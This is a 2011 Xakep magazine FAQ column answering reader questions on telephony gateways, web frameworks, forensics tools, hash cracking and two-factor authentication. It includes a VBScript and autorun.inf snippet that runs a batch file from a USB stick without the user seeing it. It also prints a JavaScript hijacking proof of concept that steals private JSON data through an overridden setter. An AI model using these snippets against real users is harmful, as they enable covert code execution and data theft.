Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 151, АВГУСТ 2011 г.

FAQ United?

Есть вопросы — присылай на faq@real.xakep.ru

Q: Каким образом можно дешево поднять SIP-GSM-шлюз?

A: Хороший подарок в решении этой проблемы сделали нам сотовые операторы, которые практически бесплатно раздают 3G-модемы по разным акциям. Несмотря на цветастые логотипы, большинство из них родилось в Китае на фабриках компании ZTE или Huawei. Проверенным вариантом, который подойдет для решения поставленной задачи, является Huawei e1550, умеющий передавать голос в GSM. Тут надо сказать, что 3G-модемы продаются залоченными на конкретного оператора, а возможности для голосового общения у них урезаны на программном уровне. И то и другое без труда обходится с помощью многочисленных инструкций, которые давно разлетелись по всему рунету. На форумах есть и нужные прошивки — короче говоря, маленькое недоразумение решается быстро и недорого. Таким образом, с помощью устройства, которое стоит две копейки, можно звонить и принимать входящие вызовы. Хорошо, но как это не использовать для создания SIP-GSM-шлюза? На компьютер с подключенным модемом устанавливается SIP-клиент, который дергает голос в обе стороны с этого модема и направляет на SIP-сервер (asterisk, oktell, sipnet и т.д.).

В результате получается GSM-SIP-шлюз. Особого внимания здесь заслуживает программа Oktell SIP-GSM Gateway (www.telsystems.ru/gateways), которую специально разработали для создания шлюза с использованием 3G-модемов. На текущий момент поддерживает следующие девайсы: Huawei E1550, Huawei E160g, ZTE MF180. Технология, на самом деле, не новая: китайцы давно производят шлюзы VoIP-GSM в железном корпусе. Но оцени разницу в цене: стоимость такого девайса на одну симку начинается от $300 (модем, напомню, продают за 700-800 рублей, а то и вовсе дарят). Возможно, в ближайших номерах мы сделаем об этом подробную статью. А пока рекомендую почитать bit.ly/aNNQTD.

Q: В Adobe Flash есть опция для преобразования SWF-файлов в iOS-приложения. Кажется, со стороны Apple некоторое время даже был запрет на использование подобных технологий, позволяющих создавать программы для iPhone/ iPad сторонними средствами. Скажи, имеет ли подобная функция право на существование или это просто пунктик в списке опций для красного словца?

A: За отчетом я обратился к нашему автору Евгению Кузьмину, который профессионально занимается разработкой под iOS, и вот что он ответил: «Для очень простецких игр и несложных приложений, где нет физики, кучи спрайтов и прочих наворотов, такая возможность может быть и сгодится. Но для серьезных разработок она, честно скажу, слишком тормозная». Так что, увы, если есть желание разрабатывать игры для iPhone/ iPad, то без изучения Objective-C - никуда.

Q: Можно ли каким-нибудь образом незаметно запустить bat-файл с флешки?

A: Теперь, с учетом того, что компания Microsoft фактически отрубила возможность автозапуска с флешки, сделать это будет нелегко. Но на старых непропатченных системах сработает такой трюк:

1. Закидываем на флешку myfile.vbs со следующим содержанием:

Set WshShell = CreateObject(
"WScript.Shell")
WshShell.Run "cmd.exe /c
[ИМЯ_BAT_ФАЙЛА]", 0, false
2. В autorun.inf добавляем следующее:
[AutoRun]
UseAutoPlay=1
open=myfi le.vbs

Обрати внимание, что хотя для пользователя запуск будет незаметным, некоторые антивирусы забьют тревогу и предупредят юзера о подозрительных файлах на USB-носителе.

Q: Веду небольшой проект, который стремительно развивается. Поскольку через сайт ведутся операции с кредитными картами, хочу обзавестись полноценным SSL-сертификатом. Подхожу к безопасности серьезно. Сколько стоит SSL-сертификат для сайта? Есть ли какой-то вариант получить его бесплатно?

A: Полноценный SSL-сертификат, как ты правильно понимаешь, за просто так никто не выдает. Правда, есть возможность бесплатно обзавестись триальным сертификатом на ограниченный срок (на 30 или 90 дней). Тест-драйв в частности можно заказать через сайт www.freessl.su. Как говорят владельцы сервиса, «такой сертификат предназначен для тестирования технической инфраструктуры до покупки коммерческого SSL-сертификата». Что удобно, выпускается он в течение нескольких минут, а для его получения достаточно заполнить простую форму:

Your Name:
Example: John Smith
Your E-mail:
Example: test@example.com
Phone:
Example: 8(495)2295670
Select the server software used to
generate the CSR:
Example: Apache-SSL
CSR:
Example:
-----BEGIN CERTIFICATE REQUEST----MIIDUDCCArkCAQAwdTEWMBQGA1UEAxMNdGVzd
C50ZXN0LmNvbTESMBAGA1UECxMJ
TWFya2V0aW5nMREwDwYDVQQKEwhUZXN0IE9yZ
zESMBAGA1UEBxMJVGVzdCBDaXR5
.......
Rq+blLr5X5iQdzyF1pLqP1Mck5Ve1eCz0R9/
OekGSRno7ow4TVyxAF6J6ozDaw7e
GisfZw40VLT0/6IGvK2jX0i+t58RFQ8WYTOcT
RlPnkG8B/uV
-----END CERTIFICATE REQUEST----

Вопросы может вызвать только последнее поле — CSR (Certificate Signing Request).

Сюда нужно вставить информацию о твоем сертификате, включая публичный ключ (Public Key). Сгенерировать его можно через openssl (подробнее читай в статье www.freessl.su/articles/13). А чтобы подключить сертификат потребуется настройка mod_ssl для Apache (считаем, что в качестве вебсервера ты используешь именно его). Весь процесс пошагово описан в этом материале — www.freessl.su/articles/14.

Q: Объясни на пальцах, что такое JavaScript hijacking?

A: Лучше всего на этот вопрос ответит наш автор - Тарас Иващенко (oxdef.info). Атака известна достаточно давно (статья по теме - bit.ly/jOMIpv) и в текущих версиях большинства веб-браузеров уже неактуальна. Тем не менее, остаются старые веб-браузеры и вариации атаки с форматом JSONP. В двух словах, атака основана на возможности в JavaScript переопределить «сеттеры» для свойств объектов.

Допустим, уязвимое веб-приложение передает в JSON-формате какие-либо критичные данные вот так:

[{"foo":"private data"}]

Злоумышленник может сделать специальную страницу с JS-кодом, в котором переопределяет «сеттер» для свойств объекта. Таким образом, при инициализации свойства foo сработает «триггер», в котором значение этого поля и сдампится:

Object.prototype.__defi neSetter__
("foo", function(x) {
var s = "";
for (f in this) {
s += f + ": ‘" + this[f] + "’, ";
}
s += "foo: " + x;
// пересылаем строку s обычным
// добавлением картинки на сайт
// злоумышленника
});
</script>

<script src="http://target.com/
private/data.js"></script>

С JSONP, с учетом его предназначения, еще проще: достаточно просто передать в качестве параметра подключаемого скрипта название определенной функции. Полученный ответ будет в таком виде:

evilFunction({"paper": "A4", "count": 5})

То есть будет вызвана функция, определенная злоумышленником, в которую будет передана в качестве параметров информация с уязвимой страницы.

Q: Передо мной стоит задача — создать мощное приложение, которое выглядело бы, как обычное десктопное. Какой фреймворк выбрать?

A: Мой совет - ExtJS (www.sencha.com), который развивается уже очень давно и позволяет разрабатывать веб-страницы, которые будут практически неотличимы от обычного приложения. Элементы интерфейса, перетаскивание, мгновенное обновление содержания, окна и таскбары, мощные таблицы — все это уже реализовано в одном, почти мегабайтном файлике кода. ExtJS предоставляет компонентную модель построения, гибкую систему стилизации и расширения языка JavaScript для более удобной разработки. За это, конечно, приходится платить снижением производительности, но для многих это мелочь.

Q: Как грамотно отсечь пользователей со старыми браузерами, выдав им предупреждение о необходимости обновиться?

A: Теперь даже гиганты вроде Google начинают отказываться от поддержи уж слишком устаревших браузеров, закапывая в могилу 6-го ослика. Для jQuery, всенародно любимой JS-библиотеки, доступен плагин, чтобы одной строкой отсекать несознательных пользователей (jquery.thewikies.com/browser). Отличный вариант.

Q: Как ускорить MySQL?

A: Последние версии мускула достаточно быстрые, но с осознанием того, что noSQL не потеснить, ребята придумывают еще более радикальные методы увеличения производительности. Для особых случаев есть HandlerSocket Plugin, который может работать с таблицами гораздо эффективнее, используя легковесный сетевой слой и простой протокол вообще без всякого SQL. Такие решения позволяют серверу упереться в производительность сетевой карты или дисков, обслуживая, к примеру, 750 тысяч запросов к мускульной таблице в секунду!

Q: Все больше и больше вирусов заражают MBR, хочу научиться отслеживать подобные ситуации. Какие утилиты можно использовать для анализа MBR?

A: Одним из самых полезных инструментов, которые я видел для исследования MBR, является набор Perl-скриптов Boot Record Parsers (www.garykessler.net/software/index.html), в который помимо прочего входят:

  • mbrparser — парсер DOS/Windows Master Boot Record (MBR);
  • bsparser — парсер загрузочных секторов FAT или NTFS.

Чтобы лучше вникнуть в тему, рекомендую тебе прочитать статью «An Examination of the Standard MBR» (bit.ly/kI8AWa).

Q: Подскажи способ максимально быстро исследовать жесткие диски на наличие некоторого контента. Для примера возьмем email-адреса.

A: В кругу компьютерных криминалистов все чаще называют программу bulk_extractor (afflib.org/software/bulk_extractor). Это написанная на C++ утилита, которая сканирует образ диска, файл, или директорию с файлами и баснословно быстро извлекает разного рода информацию. Скорость достигается за счет того, что bulk_extractor не парсит структуры файловой системы, а работает с жестким диском напрямую, при этом может работать с разными участками образа параллельно.
При этом программа может сканировать как обычный HDD, так и SSD, оптические носители, карты памяти, дампы сниффера и т.д. Существующие модули позволяют извлекать, к примеру, номера кредитных карт (что очень ценно для тех, кто занимается digital forensics), информацию EXIF из фотографий и видео, IP/MAC/Email-адреса, URL и т.д. Результаты обычно имеют довольно громоздкий вид, поэтому для последующей обработки результатов разработчики предлагают ряд вспомогательных скриптов на Python’е.

Q: Какой сейчас самый быстрый способ взломать MD5 и другие хэши?

A: Если не брать в расчет радужные таблицы, а также распределенные системы, то одним из лучших вариантов является старый добрый John the Ripper (www.openwall.com/john) с набором патчей, которые используют для ускорения возможности видеокарты.

Для разного вида хешей используются различные технологии ускорения за счет GPU:

  • OpenCL: NT, raw-MD4, raw-MD5, NSLDAP и raw-SHA1;
  • CUDA: raw-SHA256, phpass.

Раз уж мы вспомнили про John the Ripper, не могу не упомянуть, что с недавнего времени утилита научилась брутить не только хэши, но и пароли к архивам ZIP и RAR, PDFдокументам, а также SSH-ключи. Рекомендую посмотреть также тулзу ighashgpu от Ивана Голубева (www.golubev.com/blog).

Q: Какие программы используют для реверсинга Android-приложений? Отсутствие жестких политик внутри магазина приложений Android market иногда настораживает — хочется самому убедиться, что установленная программа не будет отправлять на платный номер.

A: Начну с небольшого пояснения. Устройство на базе Android может выполнять приложения, которые были сконвертированы в специальный формат - Dalvik Executable (.dex). Для таких бинарников существует немало декомпиляторов. Талантливый китайский студент еще в прошлом году опубликовал утилиту dex2jar (code.google.com/p/dex2jar), преобразующую .dex-бинарники в читаемый Java-код, который удобно просматривать через JD-GUI (java.decompiler.free.fr). Еще одним известным декомпилятором является smali (code.google.com/p/smali). Среди прочих подобных продуктов выделяется Kivlad (www.matasano.com), который нативно работает с Dalvik-байкодом и преобразует его напрямую в Java-байткод, что дает результат гораздо лучшего качества. Декомпилятор написан на Ruby и работает под Windows, Linux и OS X.

Q: Какие есть инструменты, чтобы посмотреть, как на самом низком уровне взаимодействуют драйвер и USBустройство?

A: Возможность логировать USB-трафик позволяет, к примеру, VMware. Для этого в конфиг виртуальной машины (vmx-файл) нужно добавить следующие строки:

usb.analyzer.enable = TRUE
monitor = "debug"
usb.analyzer.maxLine = 8192
mouse.vusb.enable = FALSE

После этого весь трафик в виде «как есть» будет логироваться в файл vmware.log. В таком дампе без вспомогательных инструментов сам черт ногу сломит, поэтому лучше сразу взять в напарники еще и прогу vsusbanalyser (vusb-analyzer.sourceforge.net/tutorial.html). Помимо этого можно преобразовать получившийся лог в более привычный PCAP-формат, воспользовавшись написанным на Ruby скриптом vmwusb2pcap.rb (bit.ly/la7Aju).

Q: Когда звонишь в call-центр какойнибудь компании, то сразу попадаешь на автоматизированную систему. «Нажмите 0 для связи с оператором», «Нажмите 1 для того, чтобы узнать баланс» и т.д. Нужно реализовать что-то подобное, как?

A: Речь идет об IVR (англ. Interactive Voice Response), системе предварительно записанных голосовых сообщений, выполняющей функцию маршрутизации звонков внутри call-центра. Пользователь общается с такой системой посредством тонального набора. Реализовать IVR можно с помощью уже наверняка знакомого тебе проекта Asterix (www.asterisk.org). Всю логику простой IVR-системы можно реализовать через конфиг extensions.conf, но для сложных задач лучше использовать возможности AGI.

Это скрипты на Perl или Python, с помощью которых можно создать довольно сложные сценарии работы голосового робота. Реализация через Asterix очень дешева, но при этом весьма масштабируема. На самом обычном компьютере могут одновременно обслуживаться сотни звонков без какихлибо затруднений.

Поднять самую простую IVR можно по этой несложной инструкции: bit.ly/lNj26k. Замечу, что таким образом можно создавать и автоматических роботов, которые будут обзванивать абонентов, к примеру, с напоминанием об оплате счета.

Q: Мне очень нравится возможность двухфакторной авторизации у Google, когда для входа требуется ввести еще и одноразовый пароль, который по особому алгоритму генерируется на телефоне. Есть ли готовое подобное решение, которое можно подключить к своему ресурсу для усиления защиты пользователя?

A: Есть несколько коммерческих сервисов, которые можно красиво интегрировать в свои продукты: Duo Security (www.duosecurity.com) и Symantec’s VIP Authentication Service (www.verisign.com).

При должном желании можно сэкономить и реализовать все самому, используя разработку Mobile-OTP (motp.sourceforge.net). Клиентская часть, с помощью которой пользователю будет выдаваться одноразовый пароль, написана на Java и может быть запущена практически на любом современном устройстве, а на сервере может быть использован RADIUS-сервер (например, XTRadius), с помощью которого будет выполняться авторизация. Ты можешь справедливо заметить, что на Android или iPhone запустить Java-приложение не выйдет. Так и есть, но энтузиасты уже написали приложения для генерации токенов и для этих платформ.

Содержание
ttfb: 6.2229633331299 ms